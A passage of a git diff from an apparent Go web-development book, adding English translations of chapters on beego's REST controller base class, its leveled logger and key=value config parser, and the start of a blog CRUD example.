Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + + +At the controller base class already implements the interface defined functions performed by routing the appropriate controller according url principles will be followed by implementation of the following: + +Init() initializes +Prepare() before the execution of the initialization, each subclass can inherit to implement the function +method() depending on the method to perform different functions: GET, POST, PUT, HEAD, etc. sub-classes to implement these functions, if not achieved, then the default is 403 +Render() optional, according to a global variable to determine whether to execute AutoRender +Finish() after the implementation of the action, each subclass inherits the function can be achieved + +## Application guide + +Above beego Framework base class to complete the design of the controller, then we in our application can be to design our approach: + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The way we achieved above subclass MainController, implements Get method, so if the user through other means(POST/HEAD, etc. ) to access the resource will return 403, and if it is Get access, because we set the AutoRender = true, then play in the implementation of the Get method is performed automatically after the Render function, it will display the following interface: + +![](images/13.4.beego.png?raw=true) + +index.tpl code is shown below, we can see the data set and display are quite simple: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## Links + +- [Directory](preface.md) +- Previous section: [Customized routers](13.2.md) +- Next section: [Logs and configurations](13.4.md) diff --git a/en/13.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/13.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..b8e01f8b --- /dev/null +++ b/en/13.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,163 @@ +# 13.3 controller设计 + +传统的MVC框架大多数是基于Action设计的后缀式映射,然而,现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL,但是为什么不直接设计一个全新的REST风格的 MVC框架呢?本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller,最大限度地简化Web应用的开发,甚至编写一行代码就可以实现“Hello, world”。 + +## controller作用 +MVC设计模式是目前Web应用开发中最常见的架构模式,通过分离 Model(模型)、View(视图)和 Controller(控制器),可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据;View指需要渲染的页面,通常是模板页面,渲染后的内容通常是HTML;Controller指Web开发人员编写的处理不同URL的控制器,如前面小节讲述的路由就是URL请求转发到控制器的过程,controller在整个的MVC框架中起到了一个核心的作用,负责处理业务逻辑,因此控制器是整个框架中必不可少的一部分,Model和View对于有些业务需求是可以不写的,例如没有数据处理的逻辑处理,没有页面输出的302调整之类的就不需要Model和View,但是controller这一环节是必不可少的。 + +## beego的REST设计 +前面小节介绍了路由实现了注册struct的功能,而struct中实现了REST方式,因此我们需要设计一个用于逻辑处理controller的基类,这里主要设计了两个类型,一个struct、一个interface + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //初始化上下文和子类名称 + Prepare() //开始执行之前的一些处理 + Get() //method=GET的处理 + Post() //method=POST的处理 + Delete() //method=DELETE的处理 + Put() //method=PUT的处理 + Head() //method=HEAD的处理 + Patch() //method=PATCH的处理 + Options() //method=OPTIONS的处理 + Finish() //执行完成之后的处理 + Render() error //执行完method对应的方法之后渲染页面 + } + +那么前面介绍的路由add函数的时候是定义了ControllerInterface类型,因此,只要我们实现这个接口就可以,所以我们的基类Controller实现如下的方法: + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + +上面的controller基类已经实现了接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行如下: + + Init() 初始化 + Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数 + method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403 + Render() 可选,根据全局变量AutoRender来判断是否执行 + Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数 + +## 应用指南 +上面beego框架中完成了controller基类的设计,那么我们在我们的应用中可以这样来设计我们的方法: + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行完Get方法之后会自动执行Render函数,就会显示如下界面: + +![](images/13.4.beego.png?raw=true) + +index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## links + * [目录]() + * 上一章: [自定义路由器设计](<13.2.md>) + * 下一节: [日志和配置设计](<13.4.md>) diff --git a/en/13.4.md b/en/13.4.md index 07b3d92c..5934648e 100644 --- a/en/13.4.md +++ b/en/13.4.md @@ -1,248 +1,253 @@ -# 13.4 日志和配置设计 - -## 日志和配置的重要性 -前面已经介绍过日志在我们程序开发中起着很重要的作用,通过日志我们可以记录调试我们的信息,当初介绍过一个日志系统seelog,根据不同的level输出不同的日志,这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点,部署的时候把level设置高,这样我们开发中的调试信息可以屏蔽掉。 - -配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。 - -## beego的日志设计 -beego的日志设计部署思路来自于seelog,根据不同的level来记录日志,但是beego设计的日志系统比较轻量级,采用了系统的log.Logger接口,默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出,详细的实现如下所示: - - - // Log levels to control the logging output. - const ( - LevelTrace = iota - LevelDebug - LevelInfo - LevelWarning - LevelError - LevelCritical - ) - - // logLevel controls the global log level used by the logger. - var level = LevelTrace - - // LogLevel returns the global log level and can be used in - // own implementations of the logger interface. - func Level() int { - return level - } - - // SetLogLevel sets the global log level used by the simple - // logger. - func SetLevel(l int) { - level = l - } - -上面这一段实现了日志系统的日志分级,默认的级别是Trace,用户通过SetLevel可以设置不同的分级。 - - // logger references the used application logger. - var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) - - // SetLogger sets a new logger. - func SetLogger(l *log.Logger) { - BeeLogger = l - } - - // Trace logs a message at trace level. - func Trace(v ...interface{}) { - if level <= LevelTrace { - BeeLogger.Printf("[T] %v\n", v) - } - } - - // Debug logs a message at debug level. - func Debug(v ...interface{}) { - if level <= LevelDebug { - BeeLogger.Printf("[D] %v\n", v) - } - } - - // Info logs a message at info level. - func Info(v ...interface{}) { - if level <= LevelInfo { - BeeLogger.Printf("[I] %v\n", v) - } - } - - // Warning logs a message at warning level. - func Warn(v ...interface{}) { - if level <= LevelWarning { - BeeLogger.Printf("[W] %v\n", v) - } - } - - // Error logs a message at error level. - func Error(v ...interface{}) { - if level <= LevelError { - BeeLogger.Printf("[E] %v\n", v) - } - } - - // Critical logs a message at critical level. - func Critical(v ...interface{}) { - if level <= LevelCritical { - BeeLogger.Printf("[C] %v\n", v) - } - } - -上面这一段代码默认初始化了一个BeeLogger对象,默认输出到os.Stdout,用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数: - -- Trace(一般的记录信息,举例如下:) - - "Entered parse function validation block" - - "Validation: entered second 'if'" - - "Dictionary 'Dict' is empty. Using default value" -- Debug(调试信息,举例如下:) - - "Web page requested: http://somesite.com Params='...'" - - "Response generated. Response size: 10000. Sending." - - "New file received. Type:PNG Size:20000" -- Info(打印信息,举例如下:) - - "Web server restarted" - - "Hourly statistics: Requested pages: 12345 Errors: 123 ..." - - "Service paused. Waiting for 'resume' call" -- Warn(警告信息,举例如下:) - - "Cache corrupted for file='test.file'. Reading from back-end" - - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" - - "No response from statistics server. Statistics not sent" -- Error(错误信息,举例如下:) - - "Internal error. Cannot process request #12345 Error:...." - - "Cannot perform login: credentials DB not responding" -- Critical(致命错误,举例如下:) - - "Critical panic received: .... Shutting down" - - "Fatal error: ... App is shutting down to prevent data corruption or loss" - -可以看到每个函数里面都有对level的判断,所以如果我们在部署的时候设置了level=LevelWarning,那么Trace、Debug、Info这三个函数都不会有任何的输出,以此类推。 - -## beego的配置设计 -配置信息的解析,beego实现了一个key=value的配置文件读取,类似ini配置文件的格式,就是一个文件解析的过程,然后把解析的数据保存到map中,最后在调用的时候通过几个string、int之类的函数调用返回相应的值,具体的实现请看下面: - -首先定义了一些ini配置文件的一些全局性常量 : - - var ( - bComment = []byte{'#'} - bEmpty = []byte{} - bEqual = []byte{'='} - bDQuote = []byte{'"'} - ) - -定义了配置文件的格式: - - // A Config represents the configuration. - type Config struct { - filename string - comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. - data map[string]string // key: value - offset map[string]int64 // key: offset; for editing. - sync.RWMutex - } - -定义了解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据: - - // ParseFile creates a new Config and parses the file configuration from the - // named file. - func LoadConfig(name string) (*Config, error) { - file, err := os.Open(name) - if err != nil { - return nil, err - } - - cfg := &Config{ - file.Name(), - make(map[int][]string), - make(map[string]string), - make(map[string]int64), - sync.RWMutex{}, - } - cfg.Lock() - defer cfg.Unlock() - defer file.Close() - - var comment bytes.Buffer - buf := bufio.NewReader(file) - - for nComment, off := 0, int64(1); ; { - line, _, err := buf.ReadLine() - if err == io.EOF { - break - } - if bytes.Equal(line, bEmpty) { - continue - } - - off += int64(len(line)) - - if bytes.HasPrefix(line, bComment) { - line = bytes.TrimLeft(line, "#") - line = bytes.TrimLeftFunc(line, unicode.IsSpace) - comment.Write(line) - comment.WriteByte('\n') - continue - } - if comment.Len() != 0 { - cfg.comment[nComment] = []string{comment.String()} - comment.Reset() - nComment++ - } - - val := bytes.SplitN(line, bEqual, 2) - if bytes.HasPrefix(val[1], bDQuote) { - val[1] = bytes.Trim(val[1], `"`) - } - - key := strings.TrimSpace(string(val[0])) - cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) - cfg.data[key] = strings.TrimSpace(string(val[1])) - cfg.offset[key] = off - } - return cfg, nil - } - -下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string: - - // Bool returns the boolean value for a given key. - func (c *Config) Bool(key string) (bool, error) { - return strconv.ParseBool(c.data[key]) - } - - // Int returns the integer value for a given key. - func (c *Config) Int(key string) (int, error) { - return strconv.Atoi(c.data[key]) - } - - // Float returns the float value for a given key. - func (c *Config) Float(key string) (float64, error) { - return strconv.ParseFloat(c.data[key], 64) - } - - // String returns the string value for a given key. - func (c *Config) String(key string) string { - return c.data[key] - } - -## 应用指南 -下面这个函数是我一个应用中的例子,用来获取远程url地址的json数据,实现如下: - - func GetJson() { - resp, err := http.Get(beego.AppConfig.String("url")) - if err != nil { - beego.Critical("http get info error") - return - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - err = json.Unmarshal(body, &AllInfo) - if err != nil { - beego.Critical("error:", err) - } - } - -函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf): - - appname = hs - url ="http://www.api.com/api.html" - - -## links - * [目录]() - * 上一章: [controller设计](<13.3.md>) - * 下一节: [实现博客的增删改](<13.5.md>) \ No newline at end of file +# 13.4 Logs and configurations + +## The importance of logs and configuration + +It has been introduced in the log in our program development plays a very important role, through the debug log we can record our information, had introduced a logging system seelog, depending on the different log level output of this program for program development and deployment is crucial. We can set the level in program development low point, when the level is set to deploy high, so we developed the debugging information can be masked. + +Configuration module for application deployment involves a number of different server configuration information is very useful, for example, some database configuration information, monitor port, listen address, etc. can all be configured via the configuration file, so that our application will have great flexibility, the configuration file can be configured to be deployed in different machines, you can connect different databases and the like. + +## Beego log design + +beego deployment log design ideas from seelog, depending on the level for logging, but beego relatively lightweight logging system design, the use of the system log.Logger interfaces, the default output to os.Stdout, users can implement this interface then through beego.SetLogger set custom output, detailed implementation is as follows: + + + // Log levels to control the logging output. + const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical + ) + + // logLevel controls the global log level used by the logger. + var level = LevelTrace + + // LogLevel returns the global log level and can be used in + // own implementations of the logger interface. + func Level() int { + return level + } + + // SetLogLevel sets the global log level used by the simple + // logger. + func SetLevel(l int) { + level = l + } + +This section implements the above log log grading system, the default level is the Trace, users can set different grading SetLevel. + + // logger references the used application logger. + var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + + // SetLogger sets a new logger. + func SetLogger(l *log.Logger) { + BeeLogger = l + } + + // Trace logs a message at trace level. + func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } + } + + // Debug logs a message at debug level. + func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } + } + + // Info logs a message at info level. + func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } + } + + // Warning logs a message at warning level. + func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } + } + + // Error logs a message at error level. + func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } + } + + // Critical logs a message at critical level. + func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } + } + +Above this piece of code initializes a BeeLogger default object, the default output to os.Stdout, users can achieve a logger beego.SetLogger to set the interface output. Which are to achieve the six functions: + +- Trace( general record information, for example as follows:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug( debug information, for example as follows:) + - "Web page requested: http://somesite.com Params = '...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type: PNG Size: 20000" +- Info( print information, for example as follows:) + - "Web server restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123..." + - "Service paused. Waiting for 'resume' call" +- Warn( warning messages, for example as follows:) + - "Cache corrupted for file = 'test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error( error messages, for example as follows:) + - "Internal error. Cannot process request# 12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical( fatal error, for example as follows:) + - "Critical panic received:.... Shutting down" + - "Fatal error:... App is shutting down to prevent data corruption or loss" + +Each function can be seen on the level of judgment which has, so if we set at deployment time level = LevelWarning, then Trace, Debug, Info will not have any of these three functions output, and so on. + +## Beego configuration design + +Configuration information parsing, beego implements a key = value configuration file read, similar ini configuration file format is a file parsing process, and then parse the data saved to the map, the last time the call through several string, int sort of function call returns the corresponding value, see the following specific implementation: + +First define some ini configuration file some global constants: + + var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} + ) + +Defines the format of the configuration file: + + // A Config represents the configuration. + type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex + } + + +Defines a function parses the file, parses the file of the process is to open the file, and then read line by line, parse comments, blank lines, and key = value data: + + // ParseFile creates a new Config and parses the file configuration from the + // named file. + func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil + } + +Below reads the configuration file to achieve a number of functions, the return value is determined as bool, int, float64 or string: + + // Bool returns the boolean value for a given key. + func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) + } + + // Int returns the integer value for a given key. + func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) + } + + // Float returns the float value for a given key. + func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) + } + + // String returns the string value for a given key. + func (c *Config) String(key string) string { + return c.data[key] + } + +## Application guide + +The following function is an example of the application, to access remote URL address Json data to achieve the following: + + func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } + } + +Function calls the framework of the log function `beego.Critical` function is used to being given, called `beego.AppConfig.String(" url ")` is used to obtain the configuration information in the file, configuration files are as follows(app.conf ): + + appname = hs + url ="http://www.api.com/api.html" + +## Links + +- [Directory](preface.md) +- Previous section: [Design controllers](13.3.md) +- Next section: [Add, delete and update blogs](13.5.md) diff --git a/en/eBook/13.4.md b/en/13.4.md~380a8ee74c41759d8189ad553423467994187253 similarity index 54% rename from en/eBook/13.4.md rename to en/13.4.md~380a8ee74c41759d8189ad553423467994187253 index 5934648e..8289e0af 100644 --- a/en/eBook/13.4.md +++ b/en/13.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,16 +1,14 @@ -# 13.4 Logs and configurations +# 13.4 日志和配置设计 -## The importance of logs and configuration +## 日志和配置的重要性 +前面已经介绍过日志在我们程序开发中起着很重要的作用,通过日志我们可以记录调试我们的信息,当初介绍过一个日志系统seelog,根据不同的level输出不同的日志,这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点,部署的时候把level设置高,这样我们开发中的调试信息可以屏蔽掉。 -It has been introduced in the log in our program development plays a very important role, through the debug log we can record our information, had introduced a logging system seelog, depending on the different log level output of this program for program development and deployment is crucial. We can set the level in program development low point, when the level is set to deploy high, so we developed the debugging information can be masked. - -Configuration module for application deployment involves a number of different server configuration information is very useful, for example, some database configuration information, monitor port, listen address, etc. can all be configured via the configuration file, so that our application will have great flexibility, the configuration file can be configured to be deployed in different machines, you can connect different databases and the like. - -## Beego log design - -beego deployment log design ideas from seelog, depending on the level for logging, but beego relatively lightweight logging system design, the use of the system log.Logger interfaces, the default output to os.Stdout, users can implement this interface then through beego.SetLogger set custom output, detailed implementation is as follows: +配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。 +## beego的日志设计 +beego的日志设计部署思路来自于seelog,根据不同的level来记录日志,但是beego设计的日志系统比较轻量级,采用了系统的log.Logger接口,默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出,详细的实现如下所示: + // Log levels to control the logging output. const ( LevelTrace = iota @@ -36,8 +34,8 @@ beego deployment log design ideas from seelog, depending on the level for loggin level = l } -This section implements the above log log grading system, the default level is the Trace, users can set different grading SetLevel. - +上面这一段实现了日志系统的日志分级,默认的级别是Trace,用户通过SetLevel可以设置不同的分级。 + // logger references the used application logger. var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) @@ -88,38 +86,37 @@ This section implements the above log log grading system, the default level is t } } -Above this piece of code initializes a BeeLogger default object, the default output to os.Stdout, users can achieve a logger beego.SetLogger to set the interface output. Which are to achieve the six functions: +上面这一段代码默认初始化了一个BeeLogger对象,默认输出到os.Stdout,用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数: -- Trace( general record information, for example as follows:) +- Trace(一般的记录信息,举例如下:) - "Entered parse function validation block" - "Validation: entered second 'if'" - "Dictionary 'Dict' is empty. Using default value" -- Debug( debug information, for example as follows:) - - "Web page requested: http://somesite.com Params = '...'" +- Debug(调试信息,举例如下:) + - "Web page requested: http://somesite.com Params='...'" - "Response generated. Response size: 10000. Sending." - - "New file received. Type: PNG Size: 20000" -- Info( print information, for example as follows:) + - "New file received. Type:PNG Size:20000" +- Info(打印信息,举例如下:) - "Web server restarted" - - "Hourly statistics: Requested pages: 12345 Errors: 123..." + - "Hourly statistics: Requested pages: 12345 Errors: 123 ..." - "Service paused. Waiting for 'resume' call" -- Warn( warning messages, for example as follows:) - - "Cache corrupted for file = 'test.file'. Reading from back-end" +- Warn(警告信息,举例如下:) + - "Cache corrupted for file='test.file'. Reading from back-end" - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" - "No response from statistics server. Statistics not sent" -- Error( error messages, for example as follows:) - - "Internal error. Cannot process request# 12345 Error:...." +- Error(错误信息,举例如下:) + - "Internal error. Cannot process request #12345 Error:...." - "Cannot perform login: credentials DB not responding" -- Critical( fatal error, for example as follows:) - - "Critical panic received:.... Shutting down" - - "Fatal error:... App is shutting down to prevent data corruption or loss" +- Critical(致命错误,举例如下:) + - "Critical panic received: .... Shutting down" + - "Fatal error: ... App is shutting down to prevent data corruption or loss" -Each function can be seen on the level of judgment which has, so if we set at deployment time level = LevelWarning, then Trace, Debug, Info will not have any of these three functions output, and so on. +可以看到每个函数里面都有对level的判断,所以如果我们在部署的时候设置了level=LevelWarning,那么Trace、Debug、Info这三个函数都不会有任何的输出,以此类推。 -## Beego configuration design +## beego的配置设计 +配置信息的解析,beego实现了一个key=value的配置文件读取,类似ini配置文件的格式,就是一个文件解析的过程,然后把解析的数据保存到map中,最后在调用的时候通过几个string、int之类的函数调用返回相应的值,具体的实现请看下面: -Configuration information parsing, beego implements a key = value configuration file read, similar ini configuration file format is a file parsing process, and then parse the data saved to the map, the last time the call through several string, int sort of function call returns the corresponding value, see the following specific implementation: - -First define some ini configuration file some global constants: +首先定义了一些ini配置文件的一些全局性常量 : var ( bComment = []byte{'#'} @@ -128,8 +125,8 @@ First define some ini configuration file some global constants: bDQuote = []byte{'"'} ) -Defines the format of the configuration file: - +定义了配置文件的格式: + // A Config represents the configuration. type Config struct { filename string @@ -139,8 +136,7 @@ Defines the format of the configuration file: sync.RWMutex } - -Defines a function parses the file, parses the file of the process is to open the file, and then read line by line, parse comments, blank lines, and key = value data: +定义了解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据: // ParseFile creates a new Config and parses the file configuration from the // named file. @@ -201,8 +197,8 @@ Defines a function parses the file, parses the file of the process is to open th return cfg, nil } -Below reads the configuration file to achieve a number of functions, the return value is determined as bool, int, float64 or string: - +下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string: + // Bool returns the boolean value for a given key. func (c *Config) Bool(key string) (bool, error) { return strconv.ParseBool(c.data[key]) @@ -223,9 +219,8 @@ Below reads the configuration file to achieve a number of functions, the return return c.data[key] } -## Application guide - -The following function is an example of the application, to access remote URL address Json data to achieve the following: +## 应用指南 +下面这个函数是我一个应用中的例子,用来获取远程url地址的json数据,实现如下: func GetJson() { resp, err := http.Get(beego.AppConfig.String("url")) @@ -241,13 +236,13 @@ The following function is an example of the application, to access remote URL ad } } -Function calls the framework of the log function `beego.Critical` function is used to being given, called `beego.AppConfig.String(" url ")` is used to obtain the configuration information in the file, configuration files are as follows(app.conf ): +函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf): appname = hs url ="http://www.api.com/api.html" + -## Links - -- [Directory](preface.md) -- Previous section: [Design controllers](13.3.md) -- Next section: [Add, delete and update blogs](13.5.md) +## links + * [目录]() + * 上一章: [controller设计](<13.3.md>) + * 下一节: [实现博客的增删改](<13.5.md>) \ No newline at end of file diff --git a/en/13.5.md b/en/13.5.md index 803041ce..acf2de14 100644 --- a/en/13.5.md +++ b/en/13.5.md @@ -1,259 +1,261 @@ -# 13.5 实现博客的增删改 - -前面介绍了beego框架实现的整体构思以及部分实现的伪代码,这小节介绍通过beego建立一个博客系统,包括博客浏览、添加、修改、删除等操作。 -## 博客目录 -博客目录如下所示: - - . - ├── controllers - │   ├── delete.go - │   ├── edit.go - │   ├── index.go - │   ├── new.go - │   └── view.go - ├── main.go - ├── models - │   └── model.go - └── views - ├── edit.tpl - ├── index.tpl - ├── layout.tpl - ├── new.tpl - └── view.tpl - -## 博客路由 -博客主要的路由规则如下所示: - - //显示博客首页 - beego.Router("/", &controllers.IndexController{}) - //查看博客详细信息 - beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) - //新建博客博文 - beego.Router("/new", &controllers.NewController{}) - //删除博文 - beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) - //编辑博文 - beego.Router("/edit/:id([0-9]+)", &controllers.EditController{}) - - -## 数据库结构 -数据库设计最简单的博客信息 - - CREATE TABLE entries ( - id INT AUTO_INCREMENT, - title TEXT, - content TEXT, - created DATETIME, - primary key (id) - ); - -## 控制器 -IndexController: - - type IndexController struct { - beego.Controller - } - - func (this *IndexController) Get() { - this.Data["blogs"] = models.GetAll() - this.Layout = "layout.tpl" - this.TplNames = "index.tpl" - } - -ViewController: - - type ViewController struct { - beego.Controller - } - - func (this *ViewController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - this.Data["Post"] = models.GetBlog(id) - this.Layout = "layout.tpl" - this.TplNames = "view.tpl" - } - -NewController - - type NewController struct { - beego.Controller - } - - func (this *NewController) Get() { - this.Layout = "layout.tpl" - this.TplNames = "new.tpl" - } - - func (this *NewController) Post() { - inputs := this.Input() - var blog models.Blog - blog.Title = inputs.Get("title") - blog.Content = inputs.Get("content") - blog.Created = time.Now() - models.SaveBlog(blog) - this.Ctx.Redirect(302, "/") - } - -EditController - - type EditController struct { - beego.Controller - } - - func (this *EditController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - this.Data["Post"] = models.GetBlog(id) - this.Layout = "layout.tpl" - this.TplNames = "edit.tpl" - } - - func (this *EditController) Post() { - inputs := this.Input() - var blog models.Blog - blog.Id, _ = strconv.Atoi(inputs.Get("id")) - blog.Title = 